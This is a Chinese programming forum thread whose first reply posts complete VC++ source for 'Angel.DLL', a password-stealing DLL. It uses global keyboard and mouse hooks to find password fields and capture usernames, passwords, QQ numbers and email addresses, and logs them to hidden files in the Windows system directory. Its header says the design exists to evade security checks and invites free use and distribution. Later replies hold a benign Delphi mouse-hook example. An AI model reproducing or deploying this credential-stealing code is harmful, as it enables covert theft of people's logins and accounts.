我给你一个全的,不过用的是VC的,吧:
/*====================================================================
这是一个通过安装键盘、鼠标双重钩子来获取密码的原程序,之所要安装两
个钩子而不用其他更方便的方法,是因为了避免一些软件的安全检查。经过长期
测试,可以在win98/win2000下稳定运行,欢迎大家自由修改、使用、传播。  
            舒清   2001-5-9
附:调用Angel.DLL的方法HINSTANCE gLibAngel=NULL;
typedef BOOL (* SETHOOK)(int,HWND);
SETHOOK SetHookAlias=NULL;1.安装钩子:
gLibAngel=LoadLibrary("angel.dll"); 
//返回DLL中SetHook()函数的地址
if (gLibAngel)
{
SetHookAlias=(SETHOOK)GetProcAddress(gLibAngel,"SetHook");
if (SetHookAlias)
{
SetHookAlias(1,NULL);
}
}2.卸装钩子:
SetHookAlias(0,NULL);如不明白可到我的主页下载例子程序。
====================================================================*/#include "stdafx.h"
#include <afxdllx.h>#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endifBOOL SetHook(UINT handletype,HWND hwnd);
void WriteTxtFile(int textFile,char * strText);
int EnumWin(int eventType,HWND eventWnd,HWND glhTargetWnd);#pragma data_seg("mydata")
HHOOK MouseglhHook=NULL;
HHOOK KeyboardglhHook=NULL;
HINSTANCE glhInstance=NULL;
//DLL实例句柄
HWND glhOutputWnd;
HWND PwdHwnd=NULL;
HWND UserHwnd=NULL;
HWND WinHwnd[100];
int i=0;
BOOL pwd=FALSE;
BOOL PassKey=FALSE;
HWND g_hLastFocus = NULL;
#pragma data_seg() //====================================================================BOOL CALLBACK EnumChildProc( HWND hwnd, LPARAM lParam) 
{
if (hwnd)
{
WinHwnd[i]=hwnd;
i++;
LONG lStyle = ::GetWindowLong(hwnd, GWL_STYLE);
if (lStyle & ES_PASSWORD)
{
PwdHwnd=hwnd;
UserHwnd=WinHwnd[i-2];
pwd=TRUE;
}
return TRUE;
}
return FALSE;
}//===================================================================int EnumWin(int eventType,HWND eventWnd,HWND glhTargetWnd)
{
char szCaption[256];
GetWindowText(glhTargetWnd,szCaption,256);
CString capCR=_T("\r\n");
capCR=szCaption+capCR;
//--------------------------------------------------------------------
i=0;
pwd=FALSE;
BOOL AppendPwd=FALSE;
PwdHwnd=NULL;
UserHwnd=NULL;
EnumChildWindows(glhTargetWnd,EnumChildProc,0);
//枚举子窗口
//--------------------------------------------------------------------
CString winText;
CString mailaddText;
CString szText;
if (i)
{
int m;
char szBuff[255];
CString CR="\r\n";
for(m=0;m<i;m++)
{
SendMessage(WinHwnd[m], WM_GETTEXT, 255, (LPARAM)szBuff);
szText=szBuff;
//--------------------------------------------------------------------
if (szText.GetLength())
{
if((strstr(szText,"@"))&&(strstr(szText,"."))&&(strstr(szText,"\r\n")==0)&&(strstr(szText," ")==0))
{
if(strstr(mailaddText,szText)==0)
mailaddText=mailaddText+szText+CR;
}
//--------------------------------------------------------------------
if (pwd)
{
if (WinHwnd[m]==PwdHwnd)
{
if (glhOutputWnd!=NULL)
SendMessage(glhOutputWnd,WM_SETTEXT,0,(LPARAM)(LPCTSTR)szText);
AppendPwd=TRUE;
szText=_T("< ")+szText+_T(" >");
}
else if (WinHwnd[m]==UserHwnd)
{
if ((strstr(winText,"OICQ")||strstr(winText,"QQ"))
||(strstr(capCR,"OICQ")||strstr(capCR,"QQ")))
{
if ((atof(szText)<999999) && (atof(szText)>1000))
szText=_T("< ")+szText+_T(" >");
else
break;
}
} winText=winText+szText+CR;
}
}
}//--------------------------------------------------------------------
if (mailaddText.GetLength()>=10)
{
WriteTxtFile(2,(LPSTR)(LPCTSTR)mailaddText);
mailaddText="";
}
if ((strstr(winText,"密码")&&strstr(winText,"用户"))
||(strstr(winText,"Password")&&strstr(winText,"User")))
{
CTime tmNow;
CString strTimeNow;
tmNow = CTime::GetCurrentTime ();
strTimeNow = tmNow.Format ("记录时间:  %Y-%m-%d  %H:%M:%S\r\n");
winText=capCR+winText+"==================================================\r\n"+strTimeNow+"==================================================\r\n\r\n";
if (AppendPwd==TRUE)
{
if (eventType==1)
{
char lpClassName[255];
GetClassName(eventWnd, lpClassName, 255);
CString ClassName=lpClassName;
if (ClassName==_T("Button"))
{
WriteTxtFile(1, (LPSTR)(LPCTSTR)winText);
}
}
else if (eventType==2)
{
WriteTxtFile(1, (LPSTR)(LPCTSTR)winText);
}
}
}
else
return -1;
//--------------------------------------------------------------------
}
return 0;
}
//====================================================================
void WriteTxtFile(int textFile,char * strText)
{
//--------------------------------------------------------------------
char szBuff[256];
GetSystemDirectory(szBuff,256);
CString Pwd_Name="\\angelpwd.shu";
CString Add_Name="\\angeladd.shu";
Pwd_Name=szBuff+Pwd_Name;
Add_Name=szBuff+Add_Name;
//--------------------------------------------------------------------
if (textFile==1)
{
FILE *fp;
if ((fp=fopen(Pwd_Name,"a"))==NULL)
return ;
fprintf(fp,"%s",strText);
fclose(fp);
}
//-------------------------------------------------------------------
else if (textFile==2)
{
FILE *fp;
if ((fp=fopen(Add_Name,"a"))==NULL)
return ;
fprintf(fp,"%s",strText);
fclose(fp);
}

解决方案 »

  1.   

    接着的
    //-------------------------------------------------------------------
    }//===================================================================
    LRESULT WINAPI MouseProc(int nCode,WPARAM wparam,LPARAM lparam)
    {
    LPMOUSEHOOKSTRUCT pMouseHook=(MOUSEHOOKSTRUCT FAR *) lparam;
    if (wparam==513)
    {
    HWND glhTargetWnd=pMouseHook->hwnd;
    //取目标窗口句柄
    HWND eventWnd=glhTargetWnd;
    HWND ParentWnd=GetParent(glhTargetWnd);
    //取目标父窗口句柄
    if (ParentWnd!=NULL)
    {
    glhTargetWnd=ParentWnd;
    }
    EnumWin(1,eventWnd,glhTargetWnd);
    }
    return CallNextHookEx(MouseglhHook,nCode,wparam,lparam);
    //继续传递消息
    } //====================================================================static LRESULT WINAPI KeyboardHook_HookProc (int nCode,WPARAM wParam,LPARAM lParam) 
    {   LRESULT lResult = CallNextHookEx(KeyboardglhHook, nCode, wParam, lParam);
       if (lParam<0)
       PassKey=FALSE;
       if ((nCode == HC_ACTION)&&(lParam>0)&&(PassKey==FALSE))
       {
       PassKey=TRUE;
       if (wParam == 13)
       {
    HWND hFocus = GetActiveWindow();
    if(g_hLastFocus != hFocus)
    {
    if (EnumWin(2,NULL,hFocus)==-1)
    g_hLastFocus = hFocus;
    }
    }
       }
       return(lResult);
    }
    //===================================================================
    static AFX_EXTENSION_MODULE AngelDLL = { NULL, NULL };extern "C" int APIENTRY
    DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
    {
    // Remove this if you use lpReserved
    UNREFERENCED_PARAMETER(lpReserved); if (dwReason == DLL_PROCESS_ATTACH)
    {
    TRACE0("ANGEL.DLL Initializing!\n");

    // Extension DLL one-time initialization
    if (!AfxInitExtensionModule(AngelDLL, hInstance))
    return 0; new CDynLinkLibrary(AngelDLL); glhInstance=hInstance;
    }
    else if (dwReason == DLL_PROCESS_DETACH)
    {
    TRACE0("ANGEL.DLL Terminating!\n");
    // Terminate the library before destructors are called
    AfxTermExtensionModule(AngelDLL);
    }
    return 1;   // ok
    }BOOL SetHook(UINT handletype,HWND hwnd)
    //安装钩子并设定接收显示窗口句柄
    {
    if (handletype==0)
    {
    UnhookWindowsHookEx (KeyboardglhHook);
    UnhookWindowsHookEx (MouseglhHook);
    }
    //-------------------------------------------------------------------
    else if (handletype==1)
    {
    BOOL bResult=FALSE;
    glhOutputWnd=hwnd;
    KeyboardglhHook=SetWindowsHookEx(WH_KEYBOARD, KeyboardHook_HookProc, glhInstance, 0);
    MouseglhHook=SetWindowsHookEx(WH_MOUSE,MouseProc,glhInstance,0);
    if(KeyboardglhHook!=NULL)
    bResult=TRUE;
    //-------------------------------------------------------------------
    char szBuff[256];
    GetSystemDirectory(szBuff,256);
    CString Pwd_Name="\\angelpwd.shu";
    CString Add_Name="\\angeladd.shu";
    Pwd_Name=szBuff+Pwd_Name;
    Add_Name=szBuff+Add_Name;
    //--------------------------------------------------------------------
    CFile f1;
    if(!f1.Open(Pwd_Name, CFile::modeRead))
    return bResult;
    int fileSize1 = f1.GetLength();
    f1.Close();
    if (fileSize1>45000)
    DeleteFile(Pwd_Name);
    //--------------------------------------------------------------------
    CFile f2;
    if(!f2.Open(Add_Name, CFile::modeRead))
    return bResult;
    int fileSize2 = f2.GetLength();
    f2.Close();
    if (fileSize2>30000)
    DeleteFile(Add_Name);
    return bResult;
    }
    //--------------------------------------------------------------------
    return FALSE;
    }
      

  2.   

    library HKTest;uses
        Windows, Messages;var
        hNextHookProc: HHook;
        procSaveExit: Pointer;function mouseHookHandler(iCode: Integer;
        wParam: WPARAM;
        lParam: LPARAM): LRESULT; stdcall;
    begin
        Result := 0;
        if iCode < 0 then
        begin
            Result := CallNextHookEx(hNextHookProc, iCode, wParam, lParam);
            Exit;
        end;    if (wParam = wm_rbuttondown) then
        begin
            Result := 1;
            WinExec('Notepad.exe', sw_normal);  // 记事本
        end;
    end;function EnableHotKeyHook: BOOL; export;
    begin
        Result := False;
        if hNextHookProc <> 0 then Exit;
      // 挂上 WH_mouse 这型的 HOOK, 同时, 传回值必须保留下
      // 来, 免得 HOOK 呼叫链结断掉
        hNextHookProc := SetWindowsHookEx(WH_mouse,
            mouseHookHandler,
            HInstance,
            0);
        Result := hNextHookProc <> 0;
    end;function DisableHotKeyHook: BOOL; export;
    begin
        if hNextHookProc <> 0 then
        begin
            UnhookWindowshookEx(hNextHookProc); // 解除 mouse Hook
            hNextHookProc := 0;
            MessageBeep(0);
            MessageBeep(0);
        end;
        Result := hNextHookProc = 0;
    end;procedure HotKeyHookExit;
    begin
      // 如果忘了解除 HOOK, 自动代理解除的动作
        if hNextHookProc <> 0 then DisableHotKeyHook;
        ExitProc := procSaveExit;
    end;exports
        EnableHotKeyHook,
        DisableHotKeyHook;begin
        hNextHookProc := 0;
        procSaveExit := ExitProc;
        ExitProc := @HotKeyHookExit;
    end.
      

  3.   

    //  这是调用
    implementation{$R *.DFM}
    function EnableHotKeyHook: BOOL; external 'HKTEST.DLL';
    function DisableHotKeyHook: BOOL; external 'HKTEST.DLL';procedure TTestForm.Button1Click(Sender: TObject);
    begin
      if EnableHotKeyHook then
         ShowMessage('HotKey Testing...');
    end;procedure TTestForm.Button2Click(Sender: TObject);
    begin
      if DisableHotKeyHook then
         ShowMessage('HotKey Testing..., DONE!!');
    end;